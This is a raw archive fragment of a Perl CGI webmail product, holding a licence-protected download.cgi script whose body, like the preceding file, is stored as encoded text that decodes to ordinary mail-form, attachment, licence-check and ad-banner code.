M4T=43R(@=F%L=64](B1F;W)M7VUS9V9R;VTB('-I>F4](C8P(B!T86)I;F1E
,>#TB,2(^/"]T9#X*
M/'1D(&%L:6=N/2)L969T(CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>T)'7T]&1E=(251%?2!S:7IE/2(T(CX\<W1R;VYG/B1,>R=4
:;R=].CPO<W1R;VYG/CPO9F]N=#X\+W1D/@H`
&/"]T<CX*
(2$52141/0PH`
0<')I;G0\/$A%4D5$3T,["@``
%/'1R/@H`
M/'1D(&%L:6=N/2)R:6=H="(^/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A
M(B!S:7IE/30@8V]L;W(])$-[5$585%]"3$%#2WT^/'-T<F]N9SXD3'LG4W5B
=:F5C="=].CPO<W1R;VYG/CPO9F]N=#X\+W1D/@H`
M/'1D(&%L:6=N/2)C96YT97(B/CQI;G!U="!T>7!E/2)T97AT(B!N86UE/2)-
M4T=354)*14-4(B!V86QU93TB)&9O<FU?;7-G<W5B:F5C="(@<VEZ93TB-C`B
4('1A8FEN9&5X/2(R(CX\+W1D/@H`
M/'1D(&%L:6=N/2)L969T(CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>T)'7T]&1E=(251%?2!S:7IE/30^/'-T<F]N9SXD3'LG4W5B
=:F5C="=].CPO<W1R;VYG/CPO9F]N=#X\+W1D/@H`
&/"]T<CX*
(2$52141/0PH`
0<')I;G0\/$A%4D5$3T,["@``
%/'1R/@H`
M/'1D(&%L:6=N/7)I9VAT/CQF;VYT(&9A8V4](F%R:6%L+&AE;'9E=&EC82(@
M8V]L;W(])$-[5$585%]"3$%#2WT@<VEZ93TT/CQS=')O;F<^)$Q[)T-C)WTZ
6/"]S=')O;F<^/"]F;VYT/CPO=&0^"@``
M/'1D(&%L:6=N/6-E;G1E<CX\:6YP=70@='EP93UT97AT(&YA;64]35-'0T,@
M=F%L=64](B1F;W)M7VUS9W1O)&9O<FU?;7-G8V,B('-I>F4]-C`@=&%B:6YD
+97@],SX\+W1D/@H`
M/'1D(&%L:6=N/6QE9G0^/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C
M;VQO<CTD0WM"1U]/1D972$E417T@<VEZ93TT/CQS=')O;F<^)$Q[)T-C)WTZ
6/"]S=')O;F<^/"]F;VYT/CPO=&0^"@``
&/"]T<CX*
%/'1R/@H`
M/'1D(&%L:6=N/7)I9VAT/CQF;VYT(&9A8V4](F%R:6%L+&AE;'9E=&EC82(@
M8V]L;W(])$-[5$585%]"3$%#2WT@<VEZ93TT/CQS=')O;F<^)$Q[)T)C8R=]
7.CPO<W1R;VYG/CPO9F]N=#X\+W1D/@H`
M/'1D(&%L:6=N/6-E;G1E<CX\:6YP=70@='EP93UT97AT(&YA;64]35-'0D-#
:('-I>F4]-C`@=&%B:6YD97@]-#X\+W1D/@H`
M/'1D(&%L:6=N/6QE9G0^/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C
M;VQO<CTD0WM"1U]/1D972$E417T@<VEZ93TT/CQS=')O;F<^)$Q[)T)C8R=]
7.CPO<W1R;VYG/CPO9F]N=#X\+W1D/@H`
&/"]T<CX*
(2$52141/0PH`
6:68@*"1A='1A8VAE9%]L:7-T*2!["@``
0<')I;G0\/$A%4D5$3T,["@``
%/'1R/@H`
M/'1D(&%L:6=N/2)R:6=H="(^/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A
M(B!C;VQO<CTD0WM415A47T),04-+?2!S:7IE/30^/'-T<F]N9SXD3'LG071T
>86-H960G?3H\+W-T<F]N9SX\+V9O;G0^/"]T9#X*
M/'1D(&-O;'-P86X],B!A;&EG;CTB;&5F="(^/&9O;G0@9F%C93TB87)I86PL
M:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),04-+?2!S:7IE/30^/&5M/B1A
>='1A8VAE9%]L:7-T/"]E;3X\+V9O;G0^/"]T9#X*
&/"]T<CX*
(2$52141/0PH`
"?0H`
0<')I;G0\/$A%4D5$3T,["@``
)/"]T86)L93X*
(2$52141/0PH`
0<')I;G0\/$A%4D5$3T,["@``
M/'1A8FQE(&%L:6=N/2)C96YT97(B(&-E;&QP861D:6YG/2(T(B!C96QL<W!A
58VEN9STB,B(@8F]R9&5R/2(P(CX*
2/'1R(&%L:6=N/6-E;G1E<CX*
M/'1D(&%L:6=N/6-E;G1E<B!B9V-O;&]R/21#>T)'7U!54E!,17T^/&EN<'5T
M('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=396YD($4M36%I;"=](B!T86)I
*;F1E>#TB-B(^"@``
&/"]T9#X*
(2$52141/0PH`
<:68@*"1A8W1I;VX@;F4@(D9O<G=A<F0B*2!["@``
0<')I;G0\/$A%4D5$3T,["@``
0/'1D(&%L:6=N/6QE9G0^"@``
M)FYB<W`[)FYB<W`[/&EN<'5T('1Y<&4]8VAE8VMB;W@@;F%M93U3059%('9A
M;'5E/5E%4SX@/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD
M0WM415A47T),04-+?3X\8CX\96T^)$Q[)U-A=F4@3W5T9V]I;F<@365S<V%G
992=]/"]B/CPO96T^/"]F;VYT/CPO=&0^"@``
(2$52141/0PH`
"?0H`
0<')I;G0\/$A%4D5$3T,["@``
&/"]T<CX*
)/"]T86)L93X*
(2$52141/0PH`
A:68@*"10>TQ!3D=504=%?2!E<2`B96YG;&ES:"(I('L*
E)G!R:6YT7V)A;FYE<F-O;W!?860H(F-E;G1E<B(L(C`Q(BD["@``
"?0H`
0<')I;G0\/$A%4D5$3T,["@``
M/'1A8FQE(&%L:6=N/2)C96YT97(B(&-E;&QP861D:6YG/2(R(B!C96QL<W!A
58VEN9STB,B(@8F]R9&5R/2(P(CX*
%/'1R/@H`
4/'1D(&%L:6=N/2)C96YT97(B/@H`
M/'1E>'1A<F5A(')O=W,](B1M<V=?<F]W<R(@;F%M93TB35-'5$585"(@8V]L
'<STB-S`B"@``
>=W)A<#TB<&AY<VEC86PB('1A8FEN9&5X/2(U(CX*
9)&AT;6Q?;7-G=&5X=#PO=&5X=&%R96$^"@``
&/"]T9#X*
&/"]T<CX*
%/'1R/@H`
M/'1D(&%L:6=N/7)I9VAT/CQI;G!U="!T>7!E/2)B=71T;VXB(&]N0VQI8VL]
M(F-L96%R8F]X*"DB('9A;'5E/2(D3'LG0VQE87(@365S<V%G92!";W@@3VYL
8>2=](B!T86)I;F1E>#TB-R(^/"]T9#X*
&/"]T<CX*
(2$52141/0PH`
>:68@*"`D86-T:6]N(&YE(")&;W)W87)D(B`I('L*
0<')I;G0\/$A%4D5$3T,["@``
%/'1R/@H`
M/'1D(&-O;'-P86X]-2!A;&EG;CTB8V5N=&5R(CX\9F]N="!F86-E/2)A<FEA
M;"QH96QV971I8V$B(&-O;&]R/21#>U1%6%1?0DQ!0TM]('-I>F4]-#X\<W1R
M;VYG/B1,>R=!='1A8V@@1FEL97,@5&\@66]U<B!-97-S86=E("A/<'1I;VYA
:;"DG?3PO<W1R;VYG/CPO9F]N=#X\+W1D/@H`
&/"]T<CX*
%/'1R/@H`
M/'1D(&-O;'-P86X]-2!A;&EG;CTB8V5N=&5R(CX\:6YP=70@='EP93TB1DE,
M12(@;F%M93TB871T86-H;65N="(@<VEZ93TB-34B('1A8FEN9&5X/2(X(CX\
%+W1D/@H`
&/"]T<CX*
%/'1R/@H`
M/'1D(&-O;'-P86X]-2!A;&EG;CTB8V5N=&5R(CX\:6YP=70@='EP93TB1DE,
M12(@;F%M93TB871T86-H;65N="(@<VEZ93TB-34B('1A8FEN9&5X/2(Y(CX\
%+W1D/@H`
&/"]T<CX*
)/"]T86)L93X*
(/"]F;W)M/@H`
(2$52141/0PH`
M?2!E;'-E('L@(R!E;F0@:'1M;"!F;W(@;F]N+69O<G=A<F1E9"`H=7-E<B!S
9<&5C:69I960I(&%T=&%C:&UE;G1S+BXN"@``
0<')I;G0\/$A%4D5$3T,["@``
)/"]T86)L93X*
(/"]F;W)M/@H`
>/'!R93XD9F]R=V%R9%]T97AT/"]P<F4^/"]T9#X*
(2$52141/0PH`
"?0H`
M)G!R:6YT7V)O='1O;5]L:6YK<R@D=7-E<E]D:7)N86UE+")!3$PB+%PE0RQ<
%)4PI.PH`
@:68@*"1A8W1I;VX@97$@(DYE=R!-97-S86=E(BD@>PH`
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB2F%V85-C<FEP="(^"@``
%/"$M+0H`
?9&]C=6UE;G0N;7-G9F]R;2Y-4T=43RYF;V-U<R@I"@``
'+R\@+2T^"@``
*/"]S8W)I<'0^"@``
(2$52141/0PH`
"?0H`
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
wm357/download.cgi100644    312    144       77035  7245677670  13324 0ustar  webmailusers#!/usr/bin/perl -wT

# Copyright 1998-present Michael Mohlere
# Copyright 1998-present ADJE, LLC

# TERMS:
# The advertisement html may NOT be changed, and no additional ad banners
# may be placed on the pages.  This is how we are compensated.  The ad banners,
# on a good month, will generate about $1 (one US dollar) in revenue, so it's
# hardly worth the risk of a copyright infringement! If you wish to include
# your own ad banners, you may purchase a site license.  Please visit our home
# page for details. Copyright and disclaimers may not be removed from pages.

# DISCLAIMER: Use this software at your own risk.

# WARNING: This computer program is protected by copyright law and international
# treaties. Unauthorized reproduction or distribution of this program, or any
# portion of it, may result in severe civil and criminal penalties, and will be
# prosecuted to the maximum extent possible under the law.

# Contact us ( support@adjeweb.com ) if you have problems installing
# the software.  We're here to help!

# Michael Mohlere
# President, ADJE, LLC ( http://www.adjeweb.com )

# This software includes many modules available from CPAN (Comprehensive
# Perl Archive Network - see www.perl.com).  These modules are free to use,
# modify, and distribute under the GNU GPL.

# Control error_log output OR print name of script to STDERR
BEGIN {
  use CGI::Carp qw(carpout);
  open(LOG,">>/dev/null") or die "Unable to append to /dev/null: $!\n";
  carpout(*LOG);
}

use lib ".";
use CGI;

require "./params.cgi";
require "./language.cgi";
do './Mail/ADJEMail';
__END__
/<W5B('9A;&ED871E('L*
A;7D@*"1V87(L)'!A='1E<FXL)&UA>&QE;BD@/2!`7SL*
M*"1V87(@/7X@+UXH)'!A='1E<FXI)"\@)B8@;&5N9W1H("1V87(@/#T@)&UA
7>&QE;BD@/R!R971U<FX@.B!E>&ET.PH`
"?0H`
8<W5B('9A;&ED871E7W5S97)N86UE('L*
:;7D@*"1U<V5R;F%M92PD;&5N*2`]($!?.PH`
+)&QE;B`](#,R.PH`
A*"1U<V5R;F%M92`]?B`O7"Y<+B\I("`@)B8@97AI=#L*
A*"1U<V5R;F%M92`]?B`O6UQ<7"]=+RD@)B8@97AI=#L*
A*"1U<V5R;F%M92`]?B`O97AE8R`O:2D@)B8@97AI=#L*
C*&QE;F=T:"`D=7-E<FYA;64@/B`D;&5N*2`F)B!E>&ET.PH`
"?0H`
2<W5B(&ES7VQI8V5N<V5D('L*
-;7D@)&QI8R`](#`["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
M*&UY("1H='1P7VAO<W0@/2`D14Y6>TA45%!?2$]35'TI(#U^(',O.EQD*R0O
#+SL*
/:68@*"10>TQ)0WTI('L*
2;7D@)&-O9&4])%![3$E#?3L*
2)&-O9&4@/7X@<R]>+BXO+SL*
3)&-O9&4@/7X@<R\N+BXD+R\["@``
@)&AE>"`]("9U<FQ?=&]?:&5X*"1H='1P7VAO<W0I.PH`
@)&QI8R`]("@D8V]D92!E<2`D:&5X*2`_(#$@.B`P.PH`
-:68@*"$D;&EC*2!["@``
*;7D@)&%D9'(["@``
A:68@*&5X:7-T<R@D14Y6>U-%4E9%4E]!1$12?2DI('L*
M*"1%3E9[4T525D527T%$1%)](#U^("]>*%M<9%PN72LI)"\I("8F("@D861D
'<CTD,2D["@``
0(21A9&1R("8F(&5X:70["@``
)?2!E;'-E('L*
>=7-E($E/.CI3;V-K970@<7<H:6YE=%]N=&]A*3L*
M)&%D9'(@/2!I;F5T7VYT;V$H<V-A;&%R*&=E=&AO<W1B>6YA;64H)&AT='!?
):&]S="DI*3L*
"?0H`
A;7D@0&%D9')E<W,@/2!S<&QI="@O7"XO+"1A9&1R*3L*
-;7D@)'1O="`](#`["@``
?9F]R("A`861D<F5S<RD@>R`D=&]T("L]("1?.R!]"@``
>;7D@)&AE>"`]('-P<FEN=&8H(B5X(BPD=&]T*3L*
/)&AE>#UU8R@D:&5X*3L*
@)&QI8R`]("@D8V]D92!E<2`D:&5X*2`_(#$@.B`P.PH`
"?0H`
6?2`C(&5N9"!I9B`D4'M,24-]+BXN"@``
-<F5T=7)N("1L:6,["@``
;?2`C(&5N9"!S=6(@:7-?;&EC96YS960N+BX*
1<W5B('5R;%]T;U]H97@@>PH`
/;7D@*"1I;BD@/2!`7SL*
-;7D@)'-U;2`](#`["@``
.<&]S*"1I;BD@/2`P.PH`
9=VAI;&4@*"1I;B`]?B`O*"XI+V=S*2!["@``
1)'-U;2`K/2!O<F0H)#$I.PH`
"?0H`
?<F5T=7)N('5C*'-P<FEN=&8H(B5X(BPD<W5M*2D["@``
"?0H`
/<W5B('!R:6YT7V%D('L*
:;7D@*"1L87-T860L)&%L:6=N*2`]($!?.PH`
(;7D@)&ED.PH`
*;&]C86P@)%\["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
3:68@*"1L87-T860@/"`P*2!["@``
,)&ED(#T@=&EM93L*
)?2!E;'-E('L*
1)&ED(#T@*RLD;&%S=&%D.PH`
"?0H`
<<')I;G0@(CQP(&%L:6=N/21A;&EG;CY<;B(["@``
8;7D@)&QI8R`]("9I<U]L:6-E;G-E9#L*
-:68@*"$D;&EC*2!["@``
2)%![041)1'T](FUM=VTQ(CL*
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB2F%V85-C<FEP="(^"@``
%/"$M+0H`
6=F%R(&YO=R`](&YE=R!$871E*"D["@``
M=F%R('5A:60@/2!N;W<N9V5T5&EM92@I("4@36%T:"YF;&]O<B@X-C0P,#`P
8("T@36%T:"YR86YD;VTH*2HQ,#`P*3L*
M9&]C=6UE;G0N=W)I=&4H)SQI9G)A;64@<W)C/2)H='1P.B\O9F]C=7-I;BYA
M9',N=&%R9V5T;F5T+F-O;2]A9"]I9#TD4'M!1$E$?29O<'0]:&AJ)F-V/3(Q
M,"9U:60])R`K('5A:60@*R`G(B!H96EG:'0]-C`@=VED=&@]-#8X(&9R86UE
M8F]R9&5R/3`@;6%R9VEN:&5I9VAT/3`@;6%R9VEN=VED=&@],"!S8W)O;&QI
,;F<](FYO(CXG*3L*
M9&]C=6UE;G0N=W)I=&4H)SQA(&AR968](FAT='`Z+R]F;V-U<VEN+F%D<RYT
M87)G971N970N8V]M+V%D+VED/210>T%$241])F]P=#UC:6HF8W8],C$P)G5I
B9#TG("L@=6%I9"`K("<B('1A<F=E=#TB7W1O<"(^)RD["@``
M9&]C=6UE;G0N=W)I=&4H)R`@("`\:6UG('-R8STB:'1T<#HO+V9O8W5S:6XN
M861S+G1A<F=E=&YE="YC;VTO860O:60])%![041)1'TF;W!T/6AI:B9C=CTR
M,3`F=6ED/2<@*R!U86ED("L@)R(@86QT/2)#;&EC:R!H97)E('1O('9I<VET
M(&]U<B!S<&]N<V]R(B!W:61T:#TT-C@@:&5I9VAT/38P(&)O<F1E<CTP/B<I
".PH`
M9&]C=6UE;G0N=W)I=&4H)SPO83X\8G(^/&9O;G0@9F%C93TB87)I86PB('-I
M>F4](C$B/CQA(&AR968](FAT='`Z+R]W=W<N9F]C=7-I;BYC;VTB/F9O8W5S
M24X@4W!E8VEA;'1Y(%=E8B!.971W;W)K/"]A/CPO9F]N=#X\+VEF<F%M93XG
#*3L*
&+R\M+3X*
*/"]S8W)I<'0^"@``
+/&YO<V-R:7!T/@H`
M/&EF<F%M92!S<F,](FAT='`Z+R]F;V-U<VEN+F%D<RYT87)G971N970N8V]M
M+V%D+VED/210>T%$241])F]P=#UH:&XF8W8],C$P)G5I9#TQ(B!H96EG:'0]
M-C`@=VED=&@]-#8X(&9R86UE8F]R9&5R/3`@;6%R9VEN:&5I9VAT/3`@;6%R
;9VEN=VED=&@],"!S8W)O;&QI;F<](FYO(CX*
M/&$@:')E9CTB:'1T<#HO+V9O8W5S:6XN861S+G1A<F=E=&YE="YC;VTO860O
M:60])%![041)1'TF;W!T/6-I;B9C=CTR,3`F=6ED/3$B('1A<F=E=#TB7W1O
(<"(^/&)R/@H`
M/&EM9R!S<F,](FAT='`Z+R]F;V-U<VEN+F%D<RYT87)G971N970N8V]M+V%D
M+VED/210>T%$241])F]P=#UH:6XF8W8],C$P)G5I9#TQ(B!A;'0](D-L:6-K
M(&AE<F4@=&\@=FES:70@;W5R('-P;VYS;W(B('=I9'1H/30V."!H96EG:'0]
--C`@8F]R9&5R/3`^"@``
M/"]A/CQB<CX\9F]N="!F86-E/2)A<FEA;"(@<VEZ93TB,2(^/&$@:')E9CTB
M:'1T<#HO+W=W=RYF;V-U<VEN+F-O;2(^9F]C=7-)3B!3<&5C:6%L='D@5V5B
=($YE='=O<FL\+V$^/"]F;VYT/CPO:69R86UE/@H`
,/"]N;W-C<FEP=#X*
(2$52141/0PH`
M?2!E;'-E('L@(R!I9B!L:6-E;G-E9"P@<')I;G0@860@:'1M;"!I;B!^=V5B
2;6%I;"]A9',N:'1M;"XN+BX*
E:68@*"`M<R`B)%![5T5"34%)3$1)4GTO861S+FAT;6PB*2!["@``
D;W!E;BA&2"PB)%![5T5"34%)3$1)4GTO861S+FAT;6PB*3L*
.=VAI;&4H/$9(/BD@>PH`
=*"]>7',J7&XD+R!\?"`O7B,O*2`F)B!N97AT.PH`
2<R]53DE1545)1"\D:60O9SL*
'<')I;G0["@``
"?0H`
+8VQO<V4H1D@I.PH`
"?0H`
"?0H`
0<')I;G0@(CPO<#Y<;B(["@``
,<F5T=7)N("1I9#L*
4?2`C(&5N9"!P<FEN=%]A9"XN+@H`
:<W5B('!R:6YT7V)A;FYE<F-O;W!?860@>PH`
:;7D@*"1A;&EG;BPD8V]O<&ED*2`]($!?.PH`
/;7D@)&ED(#T@=&EM93L*
*;&]C86P@)%\["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
<<')I;G0@(CQP(&%L:6=N/21A;&EG;CY<;B(["@``
8;7D@)&QI8R`]("9I<U]L:6-E;G-E9#L*
-:68@*"$D;&EC*2!["@``
0<')I;G0\/$A%4D5$3T,["@``
A/"$M+2!"96=I;B!"86YN97(@0V\M3W`@0V]D92`M+3X*
$/%`^"@``
M/%1!0DQ%($%,24=./21A;&EG;B!"3U)$15(](C`B($-%3$Q0041$24Y'/2(P
?(B!#14Q,4U!!0TE.1STB,"(@5TE$5$@](C4P,"(^"@``
%/%12/@H`
?/%1$(%=)1%1(/2(R-3`B($%,24=./2)224=(5"(^"@``
M/$$@2%)%1CTB:'1T<#HO+W=W=RYB86YN97)C;RUO<"YC;VTO8V=I+6)I;B]A
M9',N;F5W+VQE9G0O861S7VYO;G-S:2YP;#]A9'9E<G0]3F]N4U-))G!A9V4]
2;6]H;&5R92XD8V]O<&ED(CX*
M/$E-1R!34D,](FAT='`Z+R]W=W<N8F%N;F5R8V\M;W`N8V]M+V-G:2UB:6XO
M861S+FYE=R]L969T+V%D<U]N;VYS<VDN<&P_240];6]H;&5R929P86=E/6UO
/:&QE<F4N)&-O;W!I9"(*
M5TE$5$@](C(U,"(@2$5)1TA4/2(W,B(@04Q)1TX](D)/5%1/32(@04Q4/2)"
L86YN97)C;RUO<"!"86YN97(@17AC:&%N9V4B($)/4D1%4CTB,"(^/"]!/@H`
&/"]41#X*
>/%1$(%=)1%1(/2(R-3`B($%,24=./2),1494(CX*
M/$$@2%)%1CTB:'1T<#HO+W=W=RYB86YN97)C;RUO<"YC;VTO8V=I+6)I;B]A
M9',N;F5W+W)I9VAT+V%D<U]N;VYS<VDN<&P_861V97)T/4YO;E-3229P86=E
3/6UO:&QE<F4N)&-O;W!I9"(^"@``
M/$E-1R!34D,](FAT='`Z+R]W=W<N8F%N;F5R8V\M;W`N8V]M+V-G:2UB:6XO
M861S+FYE=R]R:6=H="]A9'-?;F]N<W-I+G!L/TE$/6UO:&QE<F4F<&%G93UM
0;VAL97)E+B1C;V]P:60B"@``
M5TE$5$@](C(U,"(@2$5)1TA4/2(W,B(@04Q)1TX](D)/5%1/32(@04Q4/2)"
L86YN97)C;RUO<"!"86YN97(@17AC:&%N9V4B($)/4D1%4CTB,"(^/"]!/@H`
&/"]41#X*
&/"]44CX*
)/"]404),13X*
?/"$M+2!%;F0@0F%N;F5R($-O+4]P($-O9&4@+2T^"@``
(2$52141/0PH`
"?0H`
0<')I;G0@(CPO<#Y<;B(["@``
??2`C(&5N9"!P<FEN=%]B86YN97)C;V]P7V%D+BXN"@``
.<W5B(&=E=&%D;F\@>PH`
/;7D@*"1I;BD@/2!`7SL*
.<&]S*"1I;BD@/2`P.PH`
+;7D@)'1O=#TP.PH`
9=VAI;&4@*"1I;B`]?B`O*"XI+V=S*2!["@``
1)'1O="`K/2!O<F0H)#$I.PH`
"?0H`
-<F5T=7)N("1T;W0["@``
"?0H`
#,3L*
7<W5B(&=E=%]H96%D97)?;&EN97,@>PH`
:;7D@*"1C;VQO;BQ`:&5A9&5R*2`]($!?.PH`
*;7D@)&1E<V,["@``
.;7D@0&QI;F5S/2@I.PH`
*;&]C86P@)%\["@``
09F]R("A`:&5A9&5R*2!["@``
?+UXH6UQW+5TK/SHI+R`F)B`H)&1E<V,@/2`D,2D["@``
J*"1D97-C(#U^("]>)&-O;&]N+VDI("8F('!U<V@H0&QI;F5S+"1?*3L*
"?0H`
/<F5T=7)N($!L:6YE<SL*
"?0H`
3<W5B(&=E=%]R96-?:&%S:"!["@``
0;7D@*"1R96,I(#T@0%\["@``
-8VAO;7`H)')E8RD["@``
?;7D@0&9I96QD<R`]('-P;&ET*"]<?"\L)')E8RD["@``
);7D@)&D],#L*
M=VAI;&4@*"`H)&D\0&9I96QD<RD@)B8@*"1F:65L9'-;)&E=(#U^("]>5D%2
)7"\O*2`I('L*
I*"1D97-C+"1V86PI(#T@<W!L:70H+SHO+"1F:65L9'-;)&E=+#(I.PH`
6)&1E<V,@/7X@<R]>5D%27"\O+V\["@``
5)&AA<VA[)&1E<V-](#T@)'9A;#L*
&)&DK*SL*
"?0H`
.<F5T=7)N("5H87-H.PH`
"?0H`
4<W5B(&=E=%]A;&Q?9FEL97,@>PH`
0;7D@*"1R96,I(#T@0%\["@``
2;7D@0&US9U]P87)T<STH*3L*
?;7D@*"1F;W)M870L)&9I;&5N86UE+"1F:65L9"D["@``
>;7D@0&9I;&5S(#T@<W!L:70H+UQ\+RPD<F5C*3L*
:9F]R96%C:"`D9FEE;&0@*$!F:6QE<RD@>PH`
::68@*"1F:65L9"`A?B`O7E9!4EPO+RD@>PH`
K*"1F;W)M870L)&9I;&5N86UE*2`]('-P;&ET*"\Z+RPD9FEE;&0L,BD["@``
3<'5S:"!`;7-G7W!A<G1S+"!["@``
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
"?0H`
"?0H`
3<F5T=7)N($!M<V=?<&%R=',["@``
"?0H`
><W5B(&=E=%]T97AT7V%N9%]H=&UL7V9I;&5S('L*
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
,;7D@)&9O<FUA=#L*
.;7D@)&9I;&5N86UE.PH`
.;7D@)&)A<V5N86UE.PH`
3;7D@0'1E>'1?<&%R=',]*"D["@``
=9F]R96%C:"`D<&%R="`H0&US9U]P87)T<RD@>PH`
;)&9O<FUA="`]("1P87)T+3Y[1D]234%4?3L*
?)&9I;&5N86UE(#T@)'!A<G0M/GM&24Q%3D%-17T["@``
7)&)A<V5N86UE(#T@)&9I;&5N86UE.PH`
8)&)A<V5N86UE(#U^(',O7BXJ7"\O+SL*
M:68@*"`H)&9O<FUA="`]?B!M(RAT97AT+VAT;6Q\=&5X="]P;&%I;GQ>;65S
M<V%G92\I(VDI("8F("@D8F%S96YA;64@/7X@+UXH;7-G+7QM;5PN*2\I("D@
">PH`
4<'5S:"!`=&5X=%]P87)T<RP@>PH`
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
)?2!E;'-E('L*
&;&%S=#L*
"?0H`
"?0H`
4<F5T=7)N($!T97AT7W!A<G1S.PH`
"?0H`
5<W5B(&=E=%]T97AT7V9I;&5S('L*
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
,;7D@)&9O<FUA=#L*
.;7D@)&9I;&5N86UE.PH`
.;7D@)&)A<V5N86UE.PH`
3;7D@0'1E>'1?<&%R=',]*"D["@``
=9F]R96%C:"`D<&%R="`H0&US9U]P87)T<RD@>PH`
;)&9O<FUA="`]("1P87)T+3Y[1D]234%4?3L*
?)&9I;&5N86UE(#T@)'!A<G0M/GM&24Q%3D%-17T["@``
7)&)A<V5N86UE(#T@)&9I;&5N86UE.PH`
8)&)A<V5N86UE(#U^(',O7BXJ7"\O+SL*
M:68@*"`H("@D9F]R;6%T(#U^("]T97AT7"]P;&%I;B]I*2!\?"`H)&9O<FUA
M="`]?B`O7FUE<W-A9V5<+R]I*2`I("8F("@D8F%S96YA;64@/7X@+UXH;7-G
.+7QM;5PN*2\I("D@>PH`
4<'5S:"!`=&5X=%]P87)T<RP@>PH`
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
)?2!E;'-E('L*
&;&%S=#L*
"?0H`
"?0H`
4<F5T=7)N($!T97AT7W!A<G1S.PH`
"?0H`
=<W5B(&=E=%]A='1A8VAE9%]F:6QE<U]N97<@>PH`
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
7;7D@0&%T=&%C:&5D7W!A<G1S/2@I.PH`
@9F]R("@D:3TP.R1I/$!M<V=?<&%R=',[)&DK*RD@>PH`
I;7D@)&9O<FUA="`@("`@/2`D;7-G7W!A<G1S6R1I77M&3U)-051].PH`
K;7D@)&9N86UE("`@("`@/2`D;7-G7W!A<G1S6R1I77M&24Q%3D%-17T["@``
9;7D@)&)A<V5N86UE("`@/2`D9FYA;64["@``
:)&)A<V5N86UE("`@/7X@<R]>+BI<+R\O.PH`
M:68@("@@(2@@*"1F;W)M870@/7X@;2,H=&5X="]H=&UL?'1E>'0O<&QA:6Y\
M7FUE<W-A9V4O*2-I*2`F)B`H)&)A<V5N86UE(#U^("]>*&US9RU\;6U<+BDO
(*2`I("D@>PH`
&;&%S=#L*
"?0H`
"?0H`
==VAI;&4@*"`D:2`\("0C;7-G7W!A<G1S("D@>PH`
8<'5S:"!`871T86-H961?<&%R=',L('L*
B1D]234%4(#T^("1M<V=?<&%R='-;)&E=>T9/4DU!5'TL"@``
F1DE,14Y!344@/3X@)&US9U]P87)T<ULD:5U[1DE,14Y!345]+`H`
#?3L*
&)&DK*SL*
"?0H`
8<F5T=7)N($!A='1A8VAE9%]P87)T<SL*
"?0H`
9<W5B(&=E=%]A='1A8VAE9%]F:6QE<R!["@``
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
7;7D@0&%T=&%C:&5D7W!A<G1S/2@I.PH`
@9F]R("@D:3TP.R1I/$!M<V=?<&%R=',[)&DK*RD@>PH`
I;7D@)&9O<FUA="`@("`@/2`D;7-G7W!A<G1S6R1I77M&3U)-051].PH`
K;7D@)&9N86UE("`@("`@/2`D;7-G7W!A<G1S6R1I77M&24Q%3D%-17T["@``
9;7D@)&)A<V5N86UE("`@/2`D9FYA;64["@``
:)&)A<V5N86UE("`@/7X@<R]>+BI<+R\O.PH`
M:68@("@@(2@@*"`H)&9O<FUA="`]?B`O=&5X=%PO<&QA:6XO:2D@?'P@*"1F
M;W)M870@/7X@+UYM97-S86=E7"\O:2D@*2`F)B`H)&)A<V5N86UE(#U^("]>
4*&US9RU\;6U<+BDO*2`I("D@>PH`
&;&%S=#L*
"?0H`
"?0H`
==VAI;&4@*"`D:2`\("0C;7-G7W!A<G1S("D@>PH`
8<'5S:"!`871T86-H961?<&%R=',L('L*
B1D]234%4(#T^("1M<V=?<&%R='-;)&E=>T9/4DU!5'TL"@``
F1DE,14Y!344@/3X@)&US9U]P87)T<ULD:5U[1DE,14Y!345]+`H`
#?3L*
&)&DK*SL*
"?0H`
8<F5T=7)N($!A='1A8VAE9%]P87)T<SL*
"?0H`
><W5B(')E861?;65S<V%G97-?9G)O;5]D:7-K('L*
4;7D@*"1M<V=F:6QE*2`]($!?.PH`
-;7D@0&US9W,]*"D["@``
*;&]C86P@)%\["@``
3:68@*"UF("1M<V=F:6QE*2!["@``
6;W!E;BA&2"PB/"1M<V=F:6QE(BD["@``
38VAO;7`H0&US9W,]/$9(/BD["@``
+8VQO<V4H1D@I.PH`
"?0H`
/<F5T=7)N*$!M<V=S*3L*
"?0H`
=<W5B('=R:71E7VUE<W-A9V5S7W1O7V1I<VL@>PH`
<;7D@*"1M<V=F:6QE+"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
5;7D@0&US9W,@/2!`)&US9W)E9CL*
6;W!E;BA&2"PB/B1M<V=F:6QE(BD["@``
.9F]R("A`;7-G<RD@>PH`
1<')I;G0@1D@@(B1?7&XB.PH`
"?0H`
+8VQO<V4H1D@I.PH`
"?0H`
2<W5B(&-H96-K7VQO9VEN('L*
M;7D@*"1L86YG+"1C;VQO<G,L)'5S97)?9&ER;F%M92PD=&EM96]U="D@/2!`
#7SL*
.;7D@)4P])21L86YG.PH`
